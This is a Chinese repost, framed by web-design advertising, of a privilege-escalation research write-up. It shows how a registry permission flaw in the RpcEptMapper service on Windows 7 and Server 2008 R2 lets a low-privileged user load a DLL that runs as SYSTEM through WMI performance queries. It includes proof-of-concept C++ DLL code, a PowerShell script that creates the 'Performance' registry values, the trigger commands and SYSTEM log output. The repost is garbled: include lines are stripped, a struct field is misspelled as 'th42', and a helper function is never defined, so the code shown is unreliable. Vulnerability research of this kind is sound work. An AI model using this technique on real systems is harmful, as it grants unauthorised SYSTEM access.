十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
这篇文章给大家分享的是有关PrivescCheck是什么意思的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。
成都创新互联长期为上千客户提供的网站建设服务,团队从业经验10年,关注不同地域、不同群体,并针对不同对象提供差异化的产品和服务;打造开放共赢平台,与合作伙伴共同营造健康的互联网生态环境。为宜城企业提供专业的网站建设、网站设计,宜城网站改版等技术服务。拥有十载丰富建站经验和众多成功案例,为您定制开发。
PrivescCheck是是著名PowerUp的一种更新和扩展版本,可以针对Windows系统的提权枚举脚本,该脚本能够枚举出目标Windows系统中常见的Windows错误安全配置。如果你曾经在Windows 7或Windows Server 2008 R2上运行过此脚本,则可能会注意到重复出现奇怪的结果,可能会像我一样认为它是一个误报,但其实它是一个漏洞。
从今年年初开始,我开始研究特权升级枚举脚本:PrivescCheck,使用此脚本,我只是希望能够快速枚举由系统配置错误引起的潜在漏洞,但实际上却产生了一些意外的结果,比如它使我能够在Windows 7 / Server 2008R2中找到很多零日漏洞!
假设一台Windows设备打了完整的补丁,可能导致本地特权升级的主要安全问题之一是服务配置错误。如果普通用户能够修改现有服务,则就可以在本地/网络服务甚至本地系统的上下文中执行任意代码。以下就是一些最常见的漏洞:
1. 服务控制管理器(SCM):可以通过SCM向低特权用户授予服务的特定权限。例如,普通用户可以通过命令sc.exe start wuauserv启动Windows更新服务,这要感谢SERVICE_START权限,这是一个非常常见的场景。但是,如果该用户具有SERVICE_CHANGE_CONFIG,则他/她将能够更改该服务的行为并使其运行任意可执行文件。
2.二进制权限:典型的Windows服务通常具有一个与其关联的命令行。如果你可以修改相应的可执行文件或者如果你在父文件夹中具有写入权限,那么你基本上可以在该服务的安全上下文中执行所需的任何操作。
3.未引用的路径:此问题与Windows解析命令行的方式有关。比如带有以下命令行的虚拟服务:C:\Applications\Custom service \service.exe /v。此命令行不明确,因此Windows将首先尝试以Service \ service.exe作为第一个参数,/ v作为第二个参数执行C:\Applications\Custom.exe。如果一个普通用户在C:\Applications中有写权限,那么就可以通过复制一个恶意的可执行文件到C:\Applications\Custom.exe来劫持服务。这就是为什么路径应该总是用引号括起来,特别是当它们包含空格的时候:"C:\Applications\Custom Service\service.exe" /v。
4.虚拟DLL劫持和可写的%PATH%文件夹:即使在Windows的默认安装中,某些内置服务也会尝试加载不存在的DLL。这本身不是一个漏洞,但如果在%PATH%环境变量中列出的文件夹中有一个可以被普通用户写入,那么这些服务就可能被劫持。
这些潜在的安全问题中的每一个都已经在PowerUp中进行了相应的检查,但是在另一种情况下,可能会发生配置错误:注册表。通常,在创建服务时,可以通过使用内置命令sc.exe作为管理员调用服务控制管理器来进行。这将在HKLM \ SYSTEM \ CurrentControlSet \ Services中创建一个带有服务名称的子项,并将所有设置(命令行、用户等)保存在该子项中。因此,如果这些设置由SCM管理,则默认情况下它们应该是安全的。
检查注册表权限
PowerUp的核心函数之一是Get-ModifiablePath。这个函数的基本思想是提供一种通用的方法来检查当前用户是否可以以任何方式修改文件或文件夹(例如:AppendData/AddSubdirectory)。它通过解析目标对象的ACL,然后将其与通过它所属的所有组授予当前用户帐户的权限进行比较来实现。虽然这一原则最初是针对文件和文件夹实现的,但注册表项也是安全对象。因此,可以实现一个类似的函数来检查当前用户是否有对注册表项的写权限。这正是我所做的,因此我添加了一个新的核心函数:Get-ModifiableRegistryPath。
然后,实现对与Windows服务相对应的可修改注册表项的检查就像在路径Registry :: HKLM \ SYSTEM \ CurrentControlSet \ Services上调用Get-ChildItem PowerShell命令一样容易。结果可以简单地通过管道传递到新的Get-ModifiableRegistryPath命令,仅此而已。
当我需要实现一个新的检查时,我使用Windows 10设备,并且我也使用同一台设备进行初始测试,以查看是否一切都如预期的那样工作。当代码稳定后,我将测试扩展到其他几个Windows vm上,以确保它仍与PowerShell v2兼容,并且仍然可以在较老的系统上运行。我最常用于此目的的操作系统是Windows 7,Windows 2008 R2和Windows Server 2012 R2。
当我在Windows 10的默认安装上运行更新的脚本时,它没有返回任何内容,这是我期望的结果。我在Windows 7上运行了它,看到的结果如下:
由于我没想到脚本会产生任何结果,因此我首先认为这些都是误报,并且在实施过程中有些操作失误。不过我仔细看了一下结果,发现这些都不是误报。
误报吗?
根据脚本的输出,当前用户对两个注册表项具有一定的写入权限:
HKLM\SYSTEM\CurrentControlSet\Services\DNScache HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
让我们使用regedit GUI手动检查RpcEptMapper服务的权限,我非常喜欢高级安全设置窗口的“有效权限”选项卡。你可以选择任何用户名或组名,然后立即查看授予该主体的有效权限,而无需分别检查所有ACE。以下屏幕截图显示了低权限实验室用户帐户的结果。
大多数权限是标准权限(例如:查询值),但其中一项特别突出:创建子项。与此权限对应的通用名称为AppendData / AddSubdirectory,该名称正是脚本报告的名称:
Name : RpcEptMapper ImagePath : C:\Windows\system32\svchost.exe -k RPCSS User : NT AUTHORITY\NetworkService ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper} IdentityReference : NT AUTHORITY\Authenticated Users Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory} Status : Running UserCanStart : True UserCanRestart : False Name : RpcEptMapper ImagePath : C:\Windows\system32\svchost.exe -k RPCSS User : NT AUTHORITY\NetworkService ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper} IdentityReference : BUILTIN\Users Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory} Status : Running UserCanStart : True UserCanRestart : False
这到底是什么意思?这意味着我们不能仅仅修改ImagePath值。为此,我们需要WriteData / AddFile权限。相反,我们只能创建一个新的子项。
这是否意味着它确实是误报?当然不会。
RTFM
至此,我们知道可以在HKLM \ SYSTEM \ CurrentControlSet \ Services \ RpcEptMapper下创建任意子项,但是不能修改现有子项和值。这些已经存在的子项是“参数”和“安全性”,它们在Windows服务中非常常见。
因此,想到的第一个问题是:是否还有其他预定义的子项,比如参数和安全性,我们可以利用它们来有效地修改服务的配置并以任何方式更改其行为?
为了回答这个问题,我最初的计划是枚举所有现有项并尝试识别模式,这样做的目的是查看哪些子项对服务的配置有意义。我开始考虑如何在PowerShell中实现它,然后对结果进行排序。但是,在这样做之前,我想知道此注册表结构是否已经记录在案。因此,我用谷歌搜索类似于Windows服务配置注册表站点:microsoft.com,这是第一个出现的结果。
乍看之下,文档似乎并不详尽和完整。考虑到标题,我希望看到某种树形结构,其中详细列出了定义服务配置的所有子项和值,但显然不存在。
尽管如此,我还是快速浏览了每个段落。而且,我很快发现了关项字 “Performance” 和 “DLL”。在“Performance”小标题下,我们可以阅读以下内容:
Performance:用于指定可选性能监视信息的项。该项下的值指定驱动程序性能DLL的名称以及该DLL中某些导出的函数的名称。你可以使用驱动程序INF文件中的AddReg项将值项添加到此子项中。
所以,理论上可以通过Performance子项在驱动程序服务中注册DLL,以便监视其性能。好的,这真的很有趣! RpcEptMapper服务默认情况下不存在此项,因此看起来正是我们所需要的。但是,有一个小问题,该服务绝对不是驱动程序服务。无论如何,仍然值得尝试,但我们首先需要有关此“性能监控”功能的更多信息。
注意:在Windows中,每个服务都有给定的类型。服务类型可以是以下值之一:SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256)。
在网上搜索了一番之后,我在文档中找到了这个资源:创建应用程序的性能项。
首先,有一个很好的树结构,列出了我们必须创建的所有项和值:
库值可以包含DLL名称或指向DLL的完整路径;
Open、Collect和Close值允许你指定DLL应该导出的函数的名称;
这些值的数据类型为REG_SZ(对于库值,甚至为REG_EXPAND_SZ)。
如果你跟踪本资源中包含的链接,你甚至可以找到这些函数的原型以及一些代码示例:实现OpenPerformanceData。
我认为理论已经足够,该开始编写一些代码了!
编写概念验证
由于我在整个文档中都能收集到点点滴滴,因此编写一个简单的概念验证DLL应该非常简单。但是,我们仍然需要一个计划!
当我需要利用某种DLL劫持漏洞时,我通常从一个简单的自定义日志助手函数开始。此函数的目的是在每次调用文件时将一些关项信息写入文件中。通常,我记录当前进程和父进程的PID、运行进程的用户名和相应的命令行。我还记录了触发此日志事件的函数的名称,这样,我就知道代码的哪一部分被执行了。
启动Visual Studio并创建一个新的“ C ++ Console App”项目。请注意,我本可以创建“动态链接库(DLL)”项目,但我发现从控制台应用程序开始实际上更容易。
以下是Visual Studio生成的初始代码:
当然,那不是我们想要的。我们要创建一个DLL,而不是EXE,因此我们必须用DllMain替换main函数,你可以在《初始化DLL文档》中找到此函数的框架代码。
同时,我们还需要更改项目的设置,以指定输出的编译文件应该是DLL而不是EXE。为此,你可以打开项目属性,在“General”部分,选择“Dynamic Library (.dll)”作为“配置类型”。在标题栏的正下方,你还可以选择“所有配置”和“所有平台”,以便可以全局应用此设置。
接下来,添加我的自定义日志帮助器功能。
#include // UNLEN + GetUserName #include // CreateToolhelp32Snapshot() #include void Log(LPCWSTR pwszCallingFrom){ LPWSTR pwszBuffer, pwszCommandLine; WCHAR wszUsername[UNLEN + 1] = { 0 }; SYSTEMTIME st = { 0 }; HANDLE hToolhelpSnapshot; PROCESSENTRY32 stProcessEntry = { 0 }; DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; BOOL bResult = FALSE; // Get the command line of the current process pwszCommandLine = GetCommandLine(); // Get the name of the process owner GetUserName(wszUsername, &dwPcbBuffer); // Get the PID of the current process dwProcessId = GetCurrentProcessId(); // Get the PID of the parent process hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); stProcessEntry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hToolhelpSnapshot, &stProcessEntry)) { do { if (stProcessEntry.th42ProcessID == dwProcessId) { dwParentProcessId = stProcessEntry.th42ParentProcessID; break; } } while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); } CloseHandle(hToolhelpSnapshot); // Get the current date and time GetLocalTime(&st); // Prepare the output string and log the result dwBufSize = 4096 * sizeof(WCHAR); pwszBuffer = (LPWSTR)malloc(dwBufSize); if (pwszBuffer) { StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n", st.wHour, st.wMinute, st.wSecond, dwProcessId, dwParentProcessId, wszUsername, pwszCommandLine, pwszCallingFrom ); LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer); free(pwszBuffer); }}
然后,我们可以使用在文档中看到的三个函数来填充DLL。该文档还指出,如果成功,它们应该返回ERROR_SUCCESS。
现在项目已经正确配置好了,DllMain已经实现了,我们有了一个日志辅助函数和三个必需的函数。不过还缺少最后一件事。如果我们编译这段代码,OpenPerfData, CollectPerfData和ClosePerfData将只作为内部函数可用,所以我们需要导出它们。这可以通过几种方式实现。例如,你可以创建一个DEF文件,然后适当地配置项目。但是,我更喜欢使用__declspec(dllexport)关键字,特别是对于像这样的小项目。这样,我们只需要在源代码的开始声明这三个函数即可。
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
如果你想查看完整的代码,请点此。这将生成我们的DLL文件:.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll
测试PoC
在继续之前,我总是通过单独测试来确保我的有效载荷是否正常工作,其主要目的是防止你在假设的调试阶段陷入无路可走的境地。为此,我们可以简单地使用rundll32.exe并将DLL的名称和导出函数的名称作为参数传递。
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
现在日志文件已被创建,如果打开它,我们可以看到两个条目。第一个是在rundll32.exe加载DLL时编写的。第二个是在调用OpenPerfData时编写的。
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain' [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
现在我们可以专注于实际漏洞了,并从创建所需的注册表项和值开始。我们既可以使用reg.exe / regedit.exe手动执行此操作,也可以使用脚本以编程方式执行此操作。由于我在最初的研究中已经完成了手动步骤,因此我将展示一种使用PowerShell脚本执行相同操作的更简洁的方法。此外,在PowerShell中创建注册表项和值就像调用New-Item和New-ItemProperty一样容易,不是吗?
请求的注册表访问是不允许的,至于具体原因我还没有进行研究,但我猜测是,当我们调用New-Item时,powershell.exe实际上会尝试使用一些与我们没有权限相对应的标志来打开父注册表项。
无论如何,如果内置的cmdlet不能完成任务,我们总是可以跳到下一级直接调用DotNet函数。实际上,还可以在PowerShell中使用以下代码创建注册表项。
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
最后,我整理了以下脚本,以创建适当的项和值,等待用户输入,并最终通过清理所有内容来终止。
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance" Write-Host "[*] Create 'Performance' subkey" [void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey) Write-Host "[*] Create 'Library' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null Write-Host "[*] Create 'Open' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null Write-Host "[*] Create 'Collect' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null Write-Host "[*] Create 'Close' value" New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null Read-Host -Prompt "Press any key to continue" Write-Host "[*] Cleanup" Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force [Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
最后一步,我们如何诱骗RPC端点映射器服务加载我们的Performace DLL?不幸的是,我没有记录下所有尝试过的事情。但你可以使用WMI(Windows管理规范)查询性能计数器,这一点也不奇怪。计数器类型类中显示为属性的CounterType限定符,在Win32_PerfFormattedData类中显示为属性的CookingType限定符。
因此,我首先使用以下命令枚举了PowerShell中与Performace Data相关的WMI类。
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
而且,我看到我的日志文件几乎是立即创建的!下面是文件的内容。
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
我期望最多在RpcEptMapper服务的上下文中以网络服务的形式执行任意代码,但看起来我得到的结果比预期的要好得多。实际上,我在WMI服务本身的上下文中执行了任意代码,该服务以本地系统运行。注意:如果我以NETWORK SERVICE的身份执行了任意代码,那么我将仅仅从本地系统帐户中获得一个标记,这要感谢James Forshaw几个月前发表的一篇文章《Sharing a Logon Session a Little Too Much》。
我还尝试分别获取每个WMI类,并观察到完全相同的结果。
Get-WmiObject Win32_Perf Get-WmiObject Win32_PerfRawData Get-WmiObject Win32_PerfFormattedData
感谢各位的阅读!关于“PrivescCheck是什么意思”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!